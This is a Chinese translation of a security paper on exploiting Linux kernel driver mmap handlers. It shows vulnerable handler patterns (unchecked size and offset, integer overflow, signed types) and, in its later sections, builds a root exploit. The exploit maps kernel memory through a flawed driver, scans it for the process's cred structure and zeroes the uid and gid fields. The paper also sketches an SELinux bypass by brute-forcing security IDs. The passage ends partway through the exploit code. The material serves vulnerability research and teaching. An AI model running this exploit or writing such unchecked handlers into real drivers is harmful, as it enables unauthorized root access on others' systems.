内核驱动mmap Handler利用技术

本篇paper译自exp-db-papers中Kernel Driver mmap Handler Exploitation。
https://github.com/offensive-security/exploit-database-papers

内核驱动mmap Handler利用技术

1. 内核驱动简介

在实现Linux内核驱动中,开发者可以注册一个设备驱动文件,该文件常常在/dev/目录下完成注册。该文件可以支持所有的常规文件方法,比如opening, reading, writing, mmaping, closing等等。设备驱动文件支持的操作由包含了一组函数指针的结构体file_operations描述,每个指针描述一个操作。在4.9版本内核中可以找到如下的定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct file_operations {
struct module *owner;
loff_t(*llseek) (struct file *, loff_t, int);
ssize_t(*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t(*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t(*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t(*write_iter) (struct kiocb *, struct iov_iter *);
int(*iterate) (struct file *, struct dir_context *);
int(*iterate_shared) (struct file *, struct dir_context *);
unsigned int(*poll) (struct file *, struct poll_table_struct *);
long(*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long(*compat_ioctl) (struct file *, unsigned int, unsigned long);
int(*mmap) (struct file *, struct vm_area_struct *);
int(*open) (struct inode *, struct file *);
int(*flush) (struct file *, fl_owner_t id);
int(*release) (struct inode *, struct file *);
int(*fsync) (struct file *, loff_t, loff_t, int datasync);
int(*fasync) (int, struct file *, int);
int(*lock) (struct file *, int, struct file_lock *);
ssize_t(*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long(*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int(*check_flags)(int); int(*flock) (struct file *, int, struct file_lock *);
ssize_t(*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t(*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int(*setlease)(struct file *, long, struct file_lock **, void **);
long(*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
void(*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned(*mmap_capabilities)(struct file *);
#endif
ssize_t(*copy_file_range)(struct file *, loff_t, struct file *, loff_t, size_t, unsigned int);
int(*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64);
ssize_t(*dedupe_file_range)(struct file *, u64, u64, struct file *, u64);
};

如同上面展示,可以实现非常多的文件操作,本文的主角是mmap handler的实现。

file_operations结构体的安装示例以及相关联的函数可以在下面看到(’/fs/proc/softirqs.c’):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static int show_softirqs(struct seq_file *p, void *v)
{
int i, j;
seq_puts(p, " ");
for_each_possible_cpu(i)
seq_printf(p, "CPU%-8d", i);
seq_putc(p, '\n');
for (i = 0; i < NR_SOFTIRQS; i++)
{
seq_printf(p, "%12s:", softirq_to_name[i]);
for_each_possible_cpu(j)
seq_printf(p, " %10u", kstat_softirqs_cpu(i, j));
seq_putc(p, '\n');
}
return 0;
}
static int softirqs_open(struct inode *inode, struct file *file)
{
return single_open(file, show_softirqs, NULL);
}
static const struct file_operations proc_softirqs_operations = {
.open = softirqs_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init proc_softirqs_init(void)
{
proc_create("softirqs", 0, NULL, &proc_softirqs_operations);
return 0;
}

上述代码可以在’proc_softirqs_operations’结构体中看到,它允许调用open, read, llseek和close函数。当一个应用程序试图去打开一个’softirqs’文件时就会调用’open’系统调用,进而会调用到指向的’softirqs_open’函数。

2. 内核mmap Handler

2.1 简单的mmap Handler

如上文提及,内核驱动可以实现自己的mmap handler。主要目的在于mmap handler可以加速用户空间进程和内核空间的数据交换。内核可以共享一块内核buffer或者直接共享某些物理内存地址范围给用户空间。用户空间进程可以直接修改这块内存而无需调用额外的系统调用。

一个简单(并且不安全)的mmap handler实现例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_mmap,
.release = dev_release,
};
int size = 0x10000;
static int dev_open(struct inode *inodep, struct file *filep)
{
printk(KERN_INFO "MWR: Device has been opened\n");
filep->private_data = kzalloc(size, GFP_KERNEL);
if (filep->private_data == NULL)
return -1;
return 0;
}
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data), vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

当打开上面的驱动时,dev_open会被调用,它简单的分配0x10000字节的buffer并且将其保存在private_data指针域。此后如果进程在对该文件描述符调用mmap时,就会调用到simple_mmap。该函数简单的调用remap_pfn_range函数来创建一个进程地址空间的新映射,将private_data指向的buffer和vma->vm_start开始的尺寸为vma->vm_end-vma->vm_start大小的地址空间关联起来。

一个请求对应文件mmap的用户空间程序样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDWR);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("mmap OK addr: %lx\n", addr);
close(fd);
return 0;
}

上面的代码对/dev/MWR_DEVICE驱动文件调用了mmap,大小为0x1000,文件偏移设置为0x1000,目标地址设置为0x42424000。可以看到一个成功的映射结果:

1
2
# cat /proc/23058/maps
42424000-42425000 rw-s 00001000 00:06 68639 /dev/MWR_DEVICE

空的mmap Handler

到目前为止,我们已经见过了最简单的mmap操作的实现体,但是如果mmap handler是个空函数的话,会发生什么?

让我们考虑这个实现:

1
2
3
4
5
6
7
8
9
10
11
12
static struct file_operations fops =
{
.open = dev_open,
.mmap = empty_mmap,
.release = dev_release,
};
static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: empty_mmap\n");
return 0;
}

如我们所见,函数中只有log信息,这是为了让我们观察到函数被调用了。当empty_mmap被调用时,我们毫不夸张的可以猜测到什么都不会发生,mmap会引发失败,毕竟此时并没有remap_pfn_range或其他类似的函数。然而,事实并非如此。让我们运行一下用户空间代码,看看究竟会发生什么:

1
2
3
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long *addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);

在dmesg log中我们可以看到空的handler被成功调用:

1
2
[ 1119.393560] MWR: Device has been opened 1 time(s)
[ 1119.393574] MWR: empty_mmap

看看内存映射,有没有什么异常:

1
2
# cat /proc/2386/maps
42424000-42426000 rw-s 00001000 00:06 22305

我们并没有调用remap_pfn_range函数,然而映射却如同此前情景那样被创建了。唯一的不同在于映射是无效的,因为我们实际上并没有映射任何的物理内存给这块虚拟地址。这样的一个mmap实现中,一旦访问了映射的地址空间,要么引起进程崩溃,要么引起整个内核的崩溃,这取决于具体使用的内核。

让我们试试访问这块内存:

1
2
3
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000); printf("addr[0]: %x\n", addr[0]);

如我们所愿,进程崩溃了:

1
2
./mwr_client
Bus error

然而在某些3.10 arm/arm64 Android内核中,类似的代码会引起kernel panic。

所以说,作为一个开发者,你不应该假定一个空的handler可以按预期表现,在内核中始终使用一个可用的返回码来控制给定的情形。

一个带有vm_operations_struct的mmap Handler

在mmap操作中,有办法在已分配内存区间上使用vm_operations_struct结构体来指派多种其他操作的handler(例如控制unmapped memory, page permission changes等)。

vm_operations_struct在kernel 4.9中的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct vm_operations_struct {
void(*open)(struct vm_area_struct * area);
void(*close)(struct vm_area_struct * area);
int(*mremap)(struct vm_area_struct * area);
int(*fault)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*pmd_fault)(struct vm_area_struct *, unsigned long address, pmd_t *, unsigned int flags);
void(*map_pages)(struct fault_env *fe, pgoff_t start_pgoff, pgoff_t end_pgoff);
int(*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*pfn_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*access)(struct vm_area_struct *vma, unsigned long addr, void *buf, int len, int write);
const char *(*name)(struct vm_area_struct *vma);
#ifdef CONFIG_NUMA
int(*set_policy)(struct vm_area_struct *vma, struct mempolicy *new);
struct mempolicy *(*get_policy)(struct vm_area_struct *vma, unsigned long addr);
#endif
struct page *(*find_special_page)(struct vm_area_struct *vma, unsigned long addr);
};

如上文描述,这些函数指针可以用于实现特定的handler。关于此的详细描述在《Linux Device Drivers(Linux设备驱动)》一书中可以找到。

在实现内存分配器时,一个通俗可见的主流的行为是开发者实现了一个’fault’ handler。例如,看看这一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
static struct file_operations fops = {
.open = dev_open,
.mmap = simple_vma_ops_mmap,
.release = dev_release,
};
static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
void simple_vma_open(struct vm_area_struct *vma)
{
printk(KERN_NOTICE "MWR: Simple VMA open, virt %lx, phys %lx\n", vma->vm_start, vma->vm_pgoff << PAGE_SHIFT);
}
void simple_vma_close(struct vm_area_struct *vma)
{
printk(KERN_NOTICE "MWR: Simple VMA close.\n");
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = NULL;
unsigned long offset;
printk(KERN_NOTICE "MWR: simple_vma_fault\n");
offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma->vm_pgoff << PAGE_SHIFT));
if (offset > PAGE_SIZE << 4)
goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
nopage_out:
return 0;
}

上述代码中我们可以看到simple_vma_ops_mmap函数用于控制mmap调用。它什么都没做,除了指派了simple_remap_vm_ops结构体作为虚拟内存操作的handler。

让我们看看下列代码在该driver上运行的效果:

1
2
3
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);

dmesg的结果:

1
2
3
4
[268819.067085] MWR: Device has been opened 2 time(s)
[268819.067121] MWR: Device simple_vma_ops_mmap
[268819.067123] MWR: Simple VMA open, virt 42424000, phys 1000
[268819.067125] MWR: Device mmap OK

进程地址空间的映射:

1
42424000-42425000 rw-s 00001000 00:06 140215 /dev/MWR_DEVICE

如我们所见,simple_vma_ops_mmap函数被调用了,内存映射也创建了。例子中simple_vma_fault函数没有被调用。问题在于,我们有了个地址范围为0x42424000-0x42425000的地址空间却不清楚它指向何处。我们没有为它关联物理内存,因此当进程试图访问这段地址的任一部分时,simple_vma_fault都会执行。

所以让我们看看这段用户空间代码:

1
2
3
4
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);

代码唯一的改变在于使用了printf函数来访问映射内存。因为内存区域无效所以我们的simple_vma_fault例程被调用了。dmesg的输出可以看到:

1
2
3
4
5
[285305.468520] MWR: Device has been opened 3 time(s)
[285305.468537] MWR: Device simple_vma_ops_mmap
[285305.468538] MWR: Simple VMA open, virt 42424000, phys 1000
[285305.468539] MWR: Device mmap OK
[285305.468546] MWR: simple_vma_fault

simple_vma_fault函数中,我们可以观察到offset变量使用了指向一个没有被映射的地址的vmf->virtual_address进行了计算。我们这里就是addr[0]的地址。下一个page结构体由virt_to_page宏得到,该宏将新获取的page赋值给vmf->page变量。这一赋值意味着当fault handler返回时,addr[0]会指向由simple_vma_fault计算出来的某个物理地址。该内存可以被用户进程所访问而无需其他任何代码。如果程序试图访问addr[513](假定sizeof(unsigned long)为8),fault handler会被再次调用,这是由于addr[0]addr[513]在两个不同的内存页上,而此前仅有一个内存页被映射过。

这就是源码:

1
2
3
4
5
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
printf("addr[513]: %x\n", addr[513]);

生成内核log:

1
2
3
4
5
6
[286873.855849] MWR: Device has been opened 4 time(s)
[286873.855976] MWR: Device simple_vma_ops_mmap
[286873.855979] MWR: Simple VMA open, virt 42424000, phys 1000
[286873.855980] MWR: Device mmap OK
[286873.856046] MWR: simple_vma_fault
[286873.856110] MWR: simple_vma_fault

3. 经典mmap Handler议题

3.1 用户输入有效性的不足

让我们看看前面的mmap handler例子:

1
2
3
4
5
6
7
8
9
10
11
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data), vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

前面展示的代码展示了一个通用的实现mmap handler的途径,相似的代码可以在《Linux设备驱动》一书中找到。示例代码主要的议论点在于vma->vm_endvma->vm_start的值从未检查有效性。取而代之的,它们被直接传递给remap_pfn_range作为尺寸参数。这意味着一个恶意进程可以用一个不受限的尺寸来调用mmap。在我们这里,允许一个用户空间进程去mmap所有的在filp->private_databuffer之后的物理内存地址空间。这包括所有的内核内存。这意味着恶意进程能够从用户空间读写整个内核内存。

另一个流行的用法如下:

1
2
3
4
5
6
7
8
9
10
11
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

上面的代码中我们可以看到用户控制的offset vma->vm_pgoff被直接传递给了remap_pfn_range函数作为物理地址。这会使得恶意进程有能力传递一个任意物理地址给mmap,也就在用户空间拥有了整个内核内存的访问权限。在一些对示例进行微小改动的情景中经常可以看到,要么offset有了掩码,要么使用了另外一个值来计算。

3.2 整数溢出

经常可以看到开发者试图使用复杂的计算、按位掩码、位移、尺寸和偏移和等方法去验证映射的尺寸和偏移(size and offset)。不幸的是,这常常导致了创建的复杂性以及不寻常的计算和验证过程晦涩难懂。在对size和offset值进行少量fuzzing后,找到可以绕过有效性检查的值并非不可能。

让我们看看这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int integer_overflow_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned int vma_size = vma->vm_end - vma->vm_start;
unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
printk(KERN_INFO "MWR: Device integer_overflow_mmap( vma_size: %x, offset: %x)\n", vma_size, offset);
if (vma_size + offset > 0x10000)
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
return -EAGAIN;
}
if (remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data), vma_size, vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device integer_overflow_mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device integer_overflow_mmap OK\n");
return 0;
}

上面的代码展示了一个典型的整数溢出漏洞,它发生在一个进程调用mmap2系统调用时使用了size为0xfffa000以及offset为0xf0006的情况。0xfffa000和0xf0006000的和等于0x100000000。由于最大的unsigned int值为0xffffffff,最高符号位会被清掉,最终的和会变成0x0。这种情况下,mmap系统调用会成功绕过检查,进程会访问到预期buffer外的内存。如上文提到的,有两个独立的系统调用mmapmmap2mmap2使得应用程序可以使用一个32位的off_t类型来映射大文件(最大为2^44字节),这是通过支持使用一个大数offset参数实现的。有趣的是mmap2系统调用通常在64位内核系统调用表中不可用。然而,如果操作系统同时支持32位和64位进程,他就通常在32位进程中可用。这是因为32位和64位进程各使用独立的系统调用表。

3.3 有符号整型类型

另一个老生常谈的议题就是size变量的有符号类型。让我们看看这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static int signed_integer_mmap(
struct file *filp, struct vm_area_struct *vma)
{
int vma_size = vma->vm_end - vma->vm_start;
int offset = vma->vm_pgoff << PAGE_SHIFT;
printk(KERN_INFO "MWR: Device signed_integer_mmap( vma_size: %x, offset: %x)\n", vma_size, offset);
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset > 0x10000))
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of memory\n");
return -EAGAIN;
}
if (remap_pfn_range(vma, vma->vm_start, offset, vma->vm_end - vma->vm_start, vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device signed_integer_mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device signed_integer_mmap OK\n");
return 0;
}

上述代码中,用户控制数据存储在vma_sizeoffset变量中,它们都是有符号整型。size和offset检查是这一行:

1
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset > 0x10000))

不幸的是,因为vma_size被声明为有符号整型数,一种攻击手法是通过使用负数诸如0xf0000000来绕过这个检查。这回引起0xf0000000字节被映射到用户空间地址。

4. 利用mmap Handlers

4.1 原理

到此我们理解了如何去实现一个可以获取任意内存地址(通常是内核内存)访问权的mmap handler。现在的问题是:我们如何用现有的知识来获取root权限?我们考虑两种基本情景:

  1. 我们知道物理内存布局(通常通过/proc/iomem
  2. 黑盒模型 - 我们只是有一个非常大的mmap

当我们了解了物理内存布局后,我们可以轻易地查看我们映射了内存的那个区域,也可以试图去把想要的内存区域与虚拟地址进行关联。这允许我们对信令(creds)/函数指针执行精准的覆写。

更有意思的在于完成黑盒模型的情景。它可以工作在多版本内核和CPU架构,且一旦写成了exploit,它对不同的驱动来说都会更为的可靠。为了写这样的exp,我么需要找出内存中的一些pattern,这些pattern可以直接告诉我们找到的东西是否有用。当我们开始考虑我们可以搜索到什么时,我们就迅速的找到了实现方法:“有一些我们可以搜索的明显pattern,至少16字节,既然是全部内存我们应该可以几乎找到任何东西”。如果我们看一下credential结构体(struct cred)的话,就可以看到一些有意思的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested * keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

cred结构体用于控制我们线程的信令。这意味着我们可以掌握此结构体的大部分值,可以通过简单的读/proc/<pid>/status或者通过系统调用获取。

查看结构体定义可以观察到有8个连续的整型变量,我们对此很熟悉(uid,gid,suid,sgid等)。紧随其后是一个4字节的securebits变量,再后面是4或5个(实际数量取决于内核版本)long long int(cap_inheritable等)。

我们获取root权限的计划是:

  1. 获取我们的credentials
  2. 扫描内存去查找这样的一组跟随4-5个long long int型capabilities变量的8个int型变量。在capabilities和uids/gids之间还应该有4个字节的留空。
  3. 将uids/gids改为值0
  4. 调用getuid(),检查我们是否已经是root用户
  5. 如果是,则将capabilities修改为值0xffffffffffffffff
  6. 如果不是,则恢复uids/gids的旧值,继续查找;重复步骤2
  7. 我们现在是root,跳出循环

在某些情况下,这一方案不奏效,例如:

  • 如果内核是坚固的,一些组建对提权进行了监视(例如,一些三星手机设备上的Knox)。
  • 如果我们已经有了值为0的uid。这种情况下我们好像可以修改内核的一些东西因为内核包含了大量的0值在内存中而我们的pattern没什么用。
  • 如果一些安全模块被使能(SELinux, Smack等),我们可能完成的是部分提权,安全模块需要通过后面的步骤来绕过。

在安全模块的情况下,cred结构体的security域拥有一个指向内核使用的特殊安全模块定义的结构体。例如,对SELinux来说他是指向一个包含下列结构体的内存区域:

1
2
3
4
5
6
7
8
struct task_security_struct {
u32 osid; /* SID prior to last execve */
u32 sid; /* current SID */
u32 exec_sid; /* exec SID */
u32 create_sid; /* fscreate SID */
u32 keycreate_sid; /* keycreate SID */
u32 sockcreate_sid; /* fscreate SID */
};

我们可以替换security域的指针为一个我们已经控制的地址(如果给定架构(如arm, aarch64)允许我们在内核中直接访问用户空间映射的话,我们可以提供用户空间映射),然后brute force sid值。进程应该相对快速因为大部分权限标签例如内核或初始化时会将该值设置为0到512之间。

为了绕过SELinux我们需要尝试下列步骤:

  • 准备一个新的SELinux策略,该策略将当前SELinux的上下文设置成宽松
  • 固定伪造的包含全0值的security结构
  • 尝试去重载SELinux策略
  • 恢复旧的安全指针
  • 尝试去执行一个恶意行为,该行为此前被SELinux禁止
  • 如果他工作的话,我们就绕过了SELinux
  • 如果不行的话,在我们伪造的security结构中递增sid值,重试

4.2 基础mmap Handler利用

这一部分我们将会尝试开发一个完整root权限的exp,针对下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma->vm_end - vma->vm_start, vma->vm_pgoff);
if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma->vm_start, vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

代码有2个漏洞:

  • vma->vm_pgoffremap_pfn_range中被作为一个物理地址直接使用而没有进行安检。
  • 传递给remap_pfn_range的映射尺寸没有做安检。

我们exp开发的第一步就是,创建触发漏洞的代码,使用它创建一个非常大的内存映射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main(int argc, char * const * argv)
{
printf("[+] PID: %d\n", getpid());
int fd = open("/dev/MWR_DEVICE", O_RDWR);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);
unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("[+] mmap OK addr: %lx\n", addr);
int stop = getchar();
return 0;
}

上面的代码会打开有漏洞的驱动并且调用mmap,传递了0xf0000000字节作为size,0作为offset。下面我们会看到log中记载了我们的调用成功了:

1
2
3
4
$ ./mwr_client
[+] PID: 3855
[+] Open OK fd: 3
[+] mmap OK addr: 42424000

我们可以通过查看内存映射来验证:

1
2
# cat /proc/3855/maps
42424000-132424000 rw-s 00000000 00:06 30941 /dev/MWR_DEVICE

与此同时,dmesg中也可以看到mmap成功了:

1
2
3
4
[18877.692697] MWR: Device has been opened 2 time(s)
[18877.692710] MWR: Device mmap
[18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)
[18877.696716] MWR: Device mmap OK

如果我们检查物理地址空间,我们可以看到有了这个映射后我们可以访问下面00000000-e0ffffff间的所有地址。这是因为我们传递了0作为物理地址定位、0xf0000000作为字节数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# cat /proc/iomem
00000000-00000fff : reserved
00001000-0009fbff : System RAM 0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM

我们可以选择增大映射的尺寸来涵盖所有的物理地址空间。然而,我们这里不会如此做,这样一来我们可以展示一些当我们没有能力访问全部系统内存时所面对的限制。

下一步去实现在内存中搜索cred结构体。我们按4.1节中所说的进行操作。我们会轻量的修改进程因为我们仅仅需要搜索8个包含我们的uid值的整型数。一个简单的实现看起来如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, char * const * argv)
{
...
printf("[+] mmap OK addr: %lx\n", addr);
unsigned int uid = getuid();
printf("[+] UID: %d\n", uid);
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40))
{
credIt = 0;
if ( addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid )
{
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);
int stop = getchar();
return 0;
}

在我们的exp输出中,可以看到找到了一些潜在的cred结构体:

1
2
3
4
5
6
7
8
9
10
11
$ ./mwr_client
[+] PID: 5241
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a86e184, credNum: 1
[+] Found cred structure! ptr: 0x11a86e244, credNum: 2
[+] Found cred structure! ptr: 0x11b7823c4, credNum: 7
[+] Found cred structure! ptr: 0x11b782604, credNum: 8
[+] Found cred structure! ptr: 0x11b7c1244, credNum: 9

下一步是去找到哪个cred结构体属于我们的进程,修改它的uid/gid:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int main(int argc, char * const * argv)
{
...
printf("[+] mmap OK addr: %lx\n", addr);
unsigned int uid = getuid();
printf("[+] UID: %d\n", uid);
;
unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40))
{
credIt = 0;
if ( ... )
{
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum);
credIt = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
addr[credIt++] = 0;
if (getuid() == 0)
{
puts("[+] GOT ROOT!");
break;
}
else
{
credIt = 0;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
addr[credIt++] = uid;
}
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);
